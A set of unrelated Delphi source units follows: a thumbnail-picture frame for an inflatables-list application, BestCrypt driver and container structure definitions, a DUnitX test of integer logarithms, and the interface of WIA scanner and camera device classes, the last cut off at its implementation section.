unit ItemPictureFrame; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, InflatablesList_ItemPictures, InflatablesList_Manager; type TfrmItemPictureFrame = class(TFrame) pnlMain: TPanel; shbPicsBackground: TShape; lblThumbFull: TLabel; imgThumbFull: TImage; shpThumbFull: TShape; lblThumbHalf: TLabel; imgThumbHalf: TImage; shpThumbHalf: TShape; lblThumbThirdth: TLabel; imgThumbThirdth: TImage; shpThumbThirdth: TShape; btnViewPicture: TButton; procedure imgThumbFullClick(Sender: TObject); procedure imgThumbHalfClick(Sender: TObject); procedure imgThumbThirdthClick(Sender: TObject); procedure btnViewPictureClick(Sender: TObject); private fILManager: TILManager; fCurrentPictures: TILItemPictures; fCurrentPicture: Integer; fInitializing: Boolean; // not really used, but meh... protected Function ValidItem(PicturesManager: TILItemPictures; Index: Integer): Boolean; Function ValidCurrentItem: Boolean; // frame methods procedure FrameClear; procedure FrameSave; procedure FrameLoad; public procedure Initialize(ILManager: TILManager); procedure Finalize; procedure Save; procedure Load; procedure SetPicture(PicturesManager: TILItemPictures; Index: Integer; ProcessChange: Boolean); end; implementation uses InflatablesList_ItemPictures_Base; {$R *.dfm} Function TfrmItemPictureFrame.ValidItem(PicturesManager: TILItemPictures; Index: Integer): Boolean; begin If Assigned(PicturesManager) then Result := PicturesManager.CheckIndex(Index) else REsult := False; end; //------------------------------------------------------------------------------ Function TfrmItemPictureFrame.ValidCurrentItem: Boolean; begin Result := ValidItem(self.fCurrentPictures,fCurrentPicture); end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.FrameClear; begin imgThumbFull.Picture.Assign(nil); shpThumbFull.Visible := True; imgThumbHalf.Picture.Assign(nil); shpThumbHalf.Visible := True; imgThumbThirdth.Picture.Assign(nil); shpThumbThirdth.Visible := True; end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.FrameSave; begin // do nothing end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.FrameLoad; begin If ValidCurrentItem then begin fInitializing := True; try If fILManager.StaticSettings.NoPictures then begin If Assigned(fCurrentPictures[fCurrentPicture].Thumbnail) then imgThumbFull.Picture.Assign(fILManager.DataProvider.EmptyPicture); If Assigned(fCurrentPictures[fCurrentPicture].ThumbnailSmall) then imgThumbHalf.Picture.Assign(fILManager.DataProvider.EmptyPictureSmall); If Assigned(fCurrentPictures[fCurrentPicture].ThumbnailMini) then imgThumbThirdth.Picture.Assign(fILManager.DataProvider.EmptyPictureMini); end else begin imgThumbFull.Picture.Assign(fCurrentPictures[fCurrentPicture].Thumbnail); imgThumbHalf.Picture.Assign(fCurrentPictures[fCurrentPicture].ThumbnailSmall); imgThumbThirdth.Picture.Assign(fCurrentPictures[fCurrentPicture].ThumbnailMini); end; shpThumbFull.Visible := not Assigned(fCurrentPictures[fCurrentPicture].Thumbnail); shpThumbHalf.Visible := not Assigned(fCurrentPictures[fCurrentPicture].ThumbnailSmall); shpThumbThirdth.Visible := not Assigned(fCurrentPictures[fCurrentPicture].ThumbnailMini); finally fInitializing := False; end; end; end; //============================================================================== procedure TfrmItemPictureFrame.Initialize(ILManager: TILManager); begin fILManager := ILManager; end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.Finalize; begin // nothing to do end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.Save; begin FrameSave; end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.Load; begin FrameLoad; end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.SetPicture(PicturesManager: TILItemPictures; Index: Integer; ProcessChange: Boolean); var Reassigned: Boolean; begin Reassigned := (fCurrentPictures = PicturesManager) and (fCurrentPicture = Index); If ProcessChange then begin If ValidCurrentItem and not Reassigned then FrameSave; If ValidItem(PicturesManager,Index) then begin fCurrentPictures := PicturesManager; fCurrentPicture := Index; If not Reassigned then FrameLoad; end else begin fCurrentPictures := nil; fCurrentPicture := -1; FrameClear; end; Visible := ValidCurrentItem; Enabled := ValidCurrentItem; end else begin fCurrentPictures := PicturesManager; fCurrentPicture := Index; end; end; //============================================================================== procedure TfrmItemPictureFrame.imgThumbFullClick(Sender: TObject); begin If ValidCurrentItem then fCurrentPictures.OpenThumbnailFile(fCurrentPicture,iltsFull); end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.imgThumbHalfClick(Sender: TObject); begin If ValidCurrentItem then fCurrentPictures.OpenThumbnailFile(fCurrentPicture,iltsSmall); end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.imgThumbThirdthClick(Sender: TObject); begin If ValidCurrentItem then fCurrentPictures.OpenThumbnailFile(fCurrentPicture,iltsMini); end; //------------------------------------------------------------------------------ procedure TfrmItemPictureFrame.btnViewPictureClick(Sender: TObject); begin If ValidCurrentItem then fCurrentPictures.OpenPictureFile(fCurrentPicture); end; end.
unit OTFEBestCryptStructures_U; // By Sarah Dean // Email: sdean12@sdean12.org // WWW: http://www.SDean12.org/ // // ----------------------------------------------------------------------------- // interface uses Classes, SysUtils, Windows; type EBestCryptError = Exception; EBestCryptNotConnected = EBestCryptError; EBestCryptExeNotFound = EBestCryptError; EBestCryptVxdNotFound = EBestCryptError; EBestCryptVxdBadStatus = EBestCryptError; EBestCryptDLLNotFound = EBestCryptError; EBestCryptBadDLL = EBestCryptError; EBestCryptDLLFailure = EBestCryptError; EBestCryptDLLBadSignature = EBestCryptDLLFailure; const E_NOT_CONNECTED = 'BestCrypt not connected - set Active to TRUE first'; E_BAD_STATUS = 'BestCrypt driver returned bad status'; E_DRIVE_IN_USE = 'Close all windows and applications used by this drive first'; E_BESTCRYPT_EXE_NOT_FOUND = 'The BestCrypt executable could not be found'; E_BESTCRYPT_DLL_NOT_FOUND = 'BestCrypt DLL not found'; E_BESTCRYPT_BAD_DLL = 'BestCrypt DLL did not have correct facilities!'; E_BESTCRYPT_DLL_FAILURE = 'BestCrypt DLL returned unexpected value'; E_BESTCRYPT_DLL_SIGNATURE_FAILURE = 'BestCrypt DLL returned bad signature'; E_BESTCRYPT_UNABLE_TO_CREATE_FILENAME_HASH = 'Internal error: Unable to create ASCII coded SHA-1 hash of box filename'; // BestCrypt Status codes BCSTATUS_SUCCESS = $00; BCSTATUS_ERR_NOSYSTEM_RESOURCES = $01; BCSTATUS_ERR_ALREADYMOUNTED = $02; BCSTATUS_ERR_CONNECTALGORITHM = $03; BCSTATUS_ERR_CREATEDEVICELINK = $04; BCSTATUS_ERR_INVALIDDISKNUMBER = $05; BCSTATUS_ERR_DISK_IS_NOT_MOUNTED = $06; BCSTATUS_ERR_INVALIDALGORITHM = $07; BCSTATUS_ERR_CANTOPENCONTAINER = $08; BCSTATUS_ERR_INVALID_KEY = $10; BCSTATUS_ERR_INVALID_KEY_LENGTH = $11; // Key generator error codes BCKEYGEN_ERROR_NO = $00000000; BCKEYGEN_ERROR_INTERNAL_PROBLEM = $00000001; BCKEYGEN_ERROR_INVALID_ALGORITHM = $00000002; BCKEYGEN_ERROR_INCORRECT_CREATE_FLAG = $00000003; BCKEYGEN_ERROR_INCORRECT_FORMAT_VERSION = $00000004; BCKEYGEN_ERROR_INCORRECT_BLOCK_SIGNATURE = $00000005; BCKEYGEN_ERROR_DAMAGED_DATA_BLOCK = $00000006; BCKEYGEN_ERROR_CANCELLED_BY_USER = $00000007; BCKEYGEN_ERROR_USER_PASSWORDS_MISMATCH = $00000008; BCKEYGEN_ERROR_INCORRECT_PASSWORD = $00000009; BCKEYGEN_ERROR_NOT_ENOUGH_INIT_KEYS = $0000000a; BCKEYGEN_ERROR_INCORRECT_ENCR_ALGORITHM = $0000000b; BCKEYGEN_ERROR_INCORRECT_HASH_ALGORITHM = $0000000c; BCKEYGEN_ERROR_INCORRECT_DATA_BLOCK_SIZE = $0000000d; BCKEYGEN_ERROR_NOT_ENOUGH_SPACE_FOR_KEY = $0000000e; BCKEYGEN_ERROR_INCORRECT_POOL = $0000000f; // This comes from email from Sergey Frolov USER_ID_SUITABLE_FOR_ALL_USERS = $FFFFFFFF; // Minimum driver version for using TGETMASK_BUFFER_driverNEW; drivers older // than this use TGETMASK_BUFFER_driverOLD // Note: DRIVER_VERSION_GETMASK_NEW = $212; // (Known v2.41 uses new version; v2.14 // used the old version) // Minimum driver version for using TDISKINFO_BUFFER_driverNEW; drivers older // than this use TDISKINFO_BUFFER_driverOLD // Note: DRIVER_VERSION_DISKINFO_NEW = $22A; // (Known v2.42 uses new version; v2.41 // used the old version) // --------------------------------------------------------------------------- // --------------------------------------------------------------------------- // --------------------------------------------------------------------------- BESTCRYPT_APP_NAME = 'BestCrypt'; BESTCRYPT_APP_EXE_NAME = 'BestCrypt.exe'; BESTCRYPT_SERVICE_NAME = 'BestCrypt'; BESTCRYPT_INI_FILENAME = 'BESTCRYPT.INI'; BESTCRYPT_NT_DRIVER = '\\.\BCDISK'; BESTCRYPT_9598_DRIVER = '\\.\BCRYPT.VXD'; BESTCRYPT_2KXP_DRIVER = '\\.\bcbus'; // Only v3.00 drivers onwards(?); // earlier versions use // BESTCRYPT_9598_DRIVER under // Windows 2000/XP BESTCRYPT_REGKEY_BESTCRYPT = 'SOFTWARE\Jetico\BestCrypt'; const BESTCRYPT_UNUSED_ALGORITHM_ID = $ff; // MAX_KEY_LENGTH value in bites const BESTCRYPT_MAX_KEY_LENGTH = 512; // Pool of random bytes const BESTCRYPT_POOL_SIZE_BYTES = 512; ///////////////////////////////////////////////////////////// // Application to driver (DeviceIoControl) packet definitions ///////////////////////////////////////////////////////////// const FILE_DEVICE_DISK = $00000007; const IOCTL_DISK_BASE = FILE_DEVICE_DISK; const METHOD_BUFFERED = 0; const METHOD_IN_DIRECT = 1; const FILE_ANY_ACCESS = 0; const BESTCRYPT_DWORD_TRUE = 1; const BESTCRYPT_DWORD_FALSE = 0; const FILE_DEVICE_FILE_SYSTEM = 9; const DISKINFO_BUFFER_filename_SIZE = 256; // #define CTL_CODE( DeviceType, Function, Method, Access ) ( \ // ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ // STANDARD WINDOWS DeviceIOControl parameters const FSCTL_LOCK_VOLUME = (((FILE_DEVICE_FILE_SYSTEM) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($6) * $4) OR (FILE_ANY_ACCESS)); // #define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) const FSCTL_UNLOCK_VOLUME = (((FILE_DEVICE_FILE_SYSTEM) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($7) * $4) OR (FILE_ANY_ACCESS)); // #define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) const FSCTL_DISMOUNT_VOLUME = (((FILE_DEVICE_FILE_SYSTEM) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($8) * $4) OR (FILE_ANY_ACCESS)); // #define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) // BESTCRYPT DeviceIOControl parameters const IOCTL_PRIVATE_GET_VERSION_INFO = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($800) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x800, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_GET_BCDISK_MASK = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($801) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x801, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_GET_BCDISK_INFO = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($802) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x802, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_MAP_BCDISK = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($803) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x803, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_DISCONNECT_BCDISK = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($804) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x804, METHOD_IN_DIRECT, FILE_ANY_ACCESS) // BestCrypt's BDK documentation is wrong - This is not actually supported by // the driver! const IOCTL_PRIVATE_DISCONNECT_ALL = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($805) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x805, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_CHANGE_SYMBOLIC_LINK = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($807) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x807, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_CHANGE_NT_SECURITY = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($808) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x808, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_CREATE_KEY_HANDLE = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($810) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x810, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_TEST_KEY_HANDLE = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($811) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x811, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_FREE_KEY_HANDLE = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($812) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x812, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_ENCRYPT = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($814) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x814, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_DECRYPT = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($815) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x815, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_GETFUNCTIONS = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($816) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x816, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_PRIVATE_GET_AND_RESET_FLAG = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($855) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x855, METHOD_IN_DIRECT, FILE_ANY_ACCESS) const IOCTL_FSH_REFRESH_HOOK = (((IOCTL_DISK_BASE) * $10000) OR ((FILE_ANY_ACCESS) * $4000) OR (($820) * $4) OR (METHOD_IN_DIRECT)); // = CTL_CODE(IOCTL_DISK_BASE, 0x820, METHOD_IN_DIRECT, FILE_ANY_ACCESS) type KEY_HANDLE = DWORD; TVERSION_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; Major_version: UCHAR; Minor_version: UCHAR; end; TGETMASK_BUFFER_driverOLD = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding Mask: DWORD; end; TGETMASK_BUFFER_driverNEW = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding Mask: DWORD; // Mask of the drives available for transparent ecryption. // To set transparent ecryption we will use same command as for usual mount // but for bcrmpart.vxd (or .sys) "BestCrypt Removable Partitions" hostsMask: DWORD; end; TDISKINFO_BUFFER_driverOLD = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding filename: array [1..DISKINFO_BUFFER_filename_SIZE] of ansichar; diskNumber: DWORD; diskSizeLow: DWORD; diskSizeHigh: DWORD; keyHandle: DWORD; algDevice: array [1..128] of ansichar; algorithmID: DWORD; readOnly: DWORD; process: THandle; thread: THandle; sectorSize: DWORD; fullDismounted: boolean; dummy2: array [1..3] of UCHAR; // word boundry padding dataOffset: DWORD; //in bytes end; TDISKINFO_BUFFER_driverNEW = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding filename: array [1..DISKINFO_BUFFER_filename_SIZE] of ansichar; diskNumber: DWORD; diskSizeLow: DWORD; diskSizeHigh: DWORD; keyHandle: DWORD; algDevice: array [1..128] of ansichar; algorithmID: DWORD; readOnly: DWORD; process: THandle; thread: THandle; sectorSize: DWORD; fullDismounted: boolean; dummy2: array [1..3] of UCHAR; // word boundry padding dataOffset: DWORD; //in bytes UserId: DWORD; // Ser added 25-Apr-2003 HarddiskVolumeNumber: DWORD; // Ser added 25-Apr-2003 end; TDISCONNECT_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding DiskNumber: DWORD; // dummy2: UCHAR; // word boundry padding \ // FullDismounted: boolean; // > The C "BOOL" type is 4 bytes long // dummy3: array [1..2] of UCHAR; // word boundry padding / FullDismounted: boolean; // \ The C "BOOL" type is 4 bytes long dummy2: array [1..3] of UCHAR; // word boundry padding / // the above was changed - previously "fulldismounted" was prefixed with one of the UCHARs now in in dummy2 end; TTESTKEY_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; IsValid: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding KeyHandle: KEY_HANDLE; end; TENCRYPT_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding KeyHandle: KEY_HANDLE; IVector: array [1..8] of UCHAR; Length: DWORD; // in bytes end; // This one is for NT only... TGETFUNC_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding FuncTestKey: Pointer; FuncFreeKey: Pointer; FuncEncrypt: Pointer; FuncDecrypt: Pointer; end; TFLAG_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding Flag: DWORD; end; TREFRESH_BUFFER = packed record Signature: array [1..8] of ansichar; // input: "LOCOS97 "; output: "LS06CXX " Status: UCHAR; dummy: array [1..3] of UCHAR; // word boundry padding HookMask: ULONG; end; // Container file format types const HIDDEN_SECTOR_SIZE = 512; const DESCRIPTION_SIZE = 66; const CHECKSUM_SIZE = 8; const BESTCRYPT_VOLUME_DESCRIPTOR = 'LOCOS94 '; type TBPB = packed record sectSize: WORD; sectPerCluster: byte; reservedSectors: WORD; NumberOfFat: byte; maxRootDirEntry: WORD; totalSectors: WORD; mediaDesc: BYTE; sectorsPerFat: WORD; sectorsPerTrack: WORD; numberOfHeads: WORD; hiddenSectors: DWORD; totalSectorsLong: DWORD; end; // The same as the DOS Bios Parameter Block TBootRecord = packed record jmpCode: array [1..3] of byte; OEMid: array [1..8] of ansichar; bpb: TBPB; driveNo: byte; reserved: byte; extBootSign: byte; serialNumber: DWORD; volumeLabel: array [1..11] of ansichar; FatType: array [1..8] of ansichar; end; // The same as DOS Boot Record structure for FAT12 and FAT16 THiddenSector = packed record bootRecord: TBootRecord; description: array [1..DESCRIPTION_SIZE] of ansichar; // Description of the file-container extent: WORD; // 0 (reserved for future) version: WORD; // 0 (reserved for future) reserved: array [1.. (HIDDEN_SECTOR_SIZE - sizeof(TBootRecord) - DESCRIPTION_SIZE - // sizeof(description) sizeof(WORD) - // sizeof(extent) sizeof(WORD) - // sizeof(version) sizeof(DWORD) - // sizeof(dwKeySize) sizeof(DWORD) - // sizeof(dwDataOffset) sizeof(DWORD) - // sizeof(fileSystemId) sizeof(DWORD) - // sizeof(algorithmId) sizeof(DWORD) - // sizeof(keyGenId) CHECKSUM_SIZE)] of byte; dwKeySize: DWORD; // Key Data Block size. dwDataOffset: DWORD; // Encrypted Data offset from the beginning of file in bytes fileSystemId: DWORD; // Driver will mark container during formating algorithmId: DWORD; // Encryption Algorithm identifier keyGenId: DWORD; // Key Generation identifier CheckSum: array [1..CHECKSUM_SIZE] of ansichar; // Not used in version 6 of BestCrypt end; pDWORD = ^DWORD; pbyte = ^byte; ppByte = ^pByte; const CFLAG_CREATE_WITH_SINGLE_PASSWORD = $00000001; const CFLAG_VERIFY_AND_LOAD_KEY = $00000002; const CFLAG_CHANGE_PASSWORD = $00000003; const MAX_ALGORITHM_DEVICE_NAME_LENGTH = 128; // Max length of the algorithm's name const MAX_VOLUME_FILENAME_LENGTH = 256; // Max length of a volume's filename const MAX_KEYBLOCK_SIZE = 5012; // Max size of the keyblock held in a container const MAX_KEYGEN_NAME_LENGTH = 128; // Max length of the algorithm's name const INPUT_SIGNATURE = 'LOCOS97 '; const OUTPUT_SIGNATURE = 'LS06CXX '; const BC_FILE_ERRORS_IN_MOUNTING_OFFSET = $88; type TBCDiskInfo = class(TObject) // This is not part of the BestCrypt source volumeFilename: AnsiString; mountedAs: Ansichar; algorithmID: integer; algorithmName: AnsiString; algorithmKeyLen: integer; keyGenID: integer; keyGenName: AnsiString; readOnly: boolean; description: AnsiString; errsInMounting: integer; extent: cardinal; version: cardinal; fileSystemID: cardinal; end; implementation END.
unit IntegerLogNTest; interface uses DUnitX.TestFramework, uIntX; type [TestFixture] TIntegerLogNTest = class(TObject) public [Test] procedure LogNBase10(); [Test] procedure LogNBase2(); end; implementation [Test] procedure TIntegerLogNTest.LogNBase10(); var base, number: TIntX; begin base := 10; number := 100; Assert.IsTrue(TIntX.IntegerLogN(base, number) = 2); base := TIntX.Create(10); number := TIntX.Create(10); Assert.IsTrue(TIntX.IntegerLogN(base, number) = 1); base := TIntX.Create(10); number := TIntX.Create(500); Assert.IsTrue(TIntX.IntegerLogN(base, number) = 2); base := TIntX.Create(10); number := TIntX.Create(1000); Assert.IsTrue(TIntX.IntegerLogN(base, number) = 3); end; [Test] procedure TIntegerLogNTest.LogNBase2(); var base, number: TIntX; begin base := 2; number := 100; Assert.IsTrue(TIntX.IntegerLogN(base, number) = 6); base := TIntX.Create(2); number := TIntX.Create(10); Assert.IsTrue(TIntX.IntegerLogN(base, number) = 3); base := TIntX.Create(2); number := TIntX.Create(500); Assert.IsTrue(TIntX.IntegerLogN(base, number) = 8); base := TIntX.Create(2); number := TIntX.Create(1000); Assert.IsTrue(TIntX.IntegerLogN(base, number) = 9); end; initialization TDUnitX.RegisterTestFixture(TIntegerLogNTest); end.
unit uWIAClasses; interface uses Generics.Collections, System.Classes, System.SyncObjs, System.SysUtils, Winapi.Windows, Winapi.ActiveX, Vcl.Graphics, Dmitry.Graphics.Types, uMemory, uPortableClasses, uWIAInterfaces, uBitmapUtils; const WIA_ERROR_BUSY = -2145320954; type TWIADeviceManager = class; TWIADevice = class; TWIAEventCallBack = class; TWIAItem = class(TInterfacedObject, IPDItem) private FDevice: TWIADevice; FItem: IWIAItem; FItemType: TPortableItemType; FName: string; FItemKey: string; FErrorCode: HRESULT; FFullSize, FFreeSize: Int64; FItemDate: TDateTime; FDeviceID: string; FDeviceName: string; FVisible: Boolean; FWidth: Integer; FHeight: Integer; procedure ErrorCheck(Code: HRESULT); procedure ReadProps; public constructor Create(ADevice: TWIADevice; AItem: IWIAItem); function GetErrorCode: HRESULT; function GetItemType: TPortableItemType; function GetName: string; function GetItemKey: string; function GetFullSize: Int64; function GetFreeSize: Int64; function GetItemDate: TDateTime; function GetDeviceID: string; function GetDeviceName: string; function GetIsVisible: Boolean; function GetInnerInterface: IUnknown; function ExtractPreview(var PreviewImage: TBitmap): Boolean; function SaveToStream(S: TStream): Boolean; function SaveToStreamEx(S: TStream; CallBack: TPDProgressCallBack): Boolean; function Clone: IPDItem; function GetWidth: Integer; function GetHeight: Integer; end; TWIADevice = class(TInterfacedObject, IPDevice) private FManager: TWIADeviceManager; FPropList: IWiaPropertyStorage; FErrorCode: HRESULT; FDeviceID: string; FDeviceName: string; FDeviceType: TDeviceType; FBatteryStatus: Byte; FRoot: IWIAItem; function InternalGetItemByKey(ItemKey: string): IWiaItem; procedure ErrorCheck(Code: HRESULT); procedure FindItemByKeyCallBack(ParentKey: string; Packet: TList<IPDItem>; var Cancel: Boolean; Context: Pointer); procedure FillItemsCallBack(ParentKey: string; Packet: TList<IPDItem>; var Cancel: Boolean; Context: Pointer); procedure InitDevice; function GetRoot: IWiaItem; public constructor Create(AManager: TWIADeviceManager; PropList: IWiaPropertyStorage); function GetErrorCode: HRESULT; function GetName: string; function GetDeviceID: string; function GetBatteryStatus: Byte; function GetDeviceType: TDeviceType; procedure FillItems(ItemKey: string; Items: TList<IPDItem>); procedure FillItemsWithCallBack(ItemKey: string; CallBack: TFillItemsCallBack; Context: Pointer); function GetItemByKey(ItemKey: string): IPDItem; function GetItemByPath(Path: string): IPDItem; function Delete(ItemKey: string): Boolean; property Manager: TWIADeviceManager read FManager; property Root: IWiaItem read GetRoot; end; TWIADeviceManager = class(TInterfacedObject, IPManager) private FErrorCode: HRESULT; FManager: IWiaDevMgr; procedure ErrorCheck(Code: HRESULT); procedure FillDeviceCallBack(Packet: TList<IPDevice>; var Cancel: Boolean; Context: Pointer); procedure FindDeviceByNameCallBack(Packet: TList<IPDevice>; var Cancel: Boolean; Context: Pointer); procedure FindDeviceByIdCallBack(Packet: TList<IPDevice>; var Cancel: Boolean; Context: Pointer); public constructor Create; destructor Destroy; override; function GetErrorCode: HRESULT; procedure FillDevices(Devices: TList<IPDevice>); procedure FillDevicesWithCallBack(CallBack: TFillDevicesCallBack; Context: Pointer); function GetDeviceByName(DeviceName: string): IPDevice; function GetDeviceByID(DeviceID: string): IPDevice; property Manager: IWiaDevMgr read FManager; end; TEventTargetInfo = class public EventTypes: TPortableEventTypes; CallBack: TPortableEventCallBack; end; TWIAEventManager = class(TInterfacedObject, IPEventManager) private FEventTargets: TList<TEventTargetInfo>; FManager: IWiaDevMgr; FEventCallBack: IWiaEventCallback; FObjEventDeviceConnected: IInterface; FObjEventDeviceDisconnected: IInterface; FObjEventCallBackCreated: IInterface; FObjEventCallBackDeleted: IInterface; procedure InvokeItem(EventType: TPortableEventType; DeviceID, ItemKey, ItemPath: string); procedure InitCallBacks; public constructor Create; destructor Destroy; override; procedure RegisterNotification(EventTypes: TPortableEventTypes; CallBack: TPortableEventCallBack); procedure UnregisterNotification(CallBack: TPortableEventCallBack); end; TWiaDataCallback = class(TInterfacedObject, IWiaDataCallback) private FItem: TWIAItem; FStream: TStream; FCallBack: TPDProgressCallBack; public constructor Create(Item: TWIAItem; Stream: TStream; CallBack: TPDProgressCallBack); function BandedDataCallback(lMessage: LongInt; lStatus: LongInt; lPercentComplete: LongInt; lOffset: LongInt; lLength: LongInt; lReserved: LongInt; lResLength: LongInt; pbBuffer: Pointer): HRESULT; stdcall; end; TFindDeviceContext = class(TObject) public Name: string; Device: IPDevice; end; TFindItemContext = class(TObject) public ItemKey: string; Item: IPDItem; end; TWIAEventCallBack = class(TInterfacedObject, IWiaEventCallback) function ImageEventCallback( pEventGUID: PGUID; bstrEventDescription: PChar; bstrDeviceID: PChar; bstrDeviceDescription: PChar; dwDeviceType: DWORD; bstrFullItemName: PChar; var pulEventType: PULONG; ulReserved: ULONG) : HRESULT; stdcall; end; TWIADeviceInfo = class private FDeviceID: string; FRoot: IWiaItem; FThreadID: THandle; public constructor Create(DeviceID: string; Root: IWiaItem; ThreadID: THandle); property DeviceID: string read FDeviceID; property Root: IWiaItem read FRoot; property ThreadID: THandle read FThreadID; end; TWiaManager = class private FDevicesCache: TList<TWIADeviceInfo>; FLock: TCriticalSection; function GetThreadID: THandle; property ThreadId: THandle read GetThreadID; public procedure AddItem(DeviceID: string; Root: IWiaItem); constructor Create; destructor Destroy; override; procedure CleanUp(ThreadID: THandle); function GetRoot(DeviceID: string): IWiaItem; end; procedure CleanUpWIA(Handle: THandle); function WiaEventManager: TWIAEventManager; implementation var //only one request to WIA at moment - limitation of WIA //http://msdn.microsoft.com/en-us/library/windows/desktop/ms630350%28v=vs.85%29.aspx 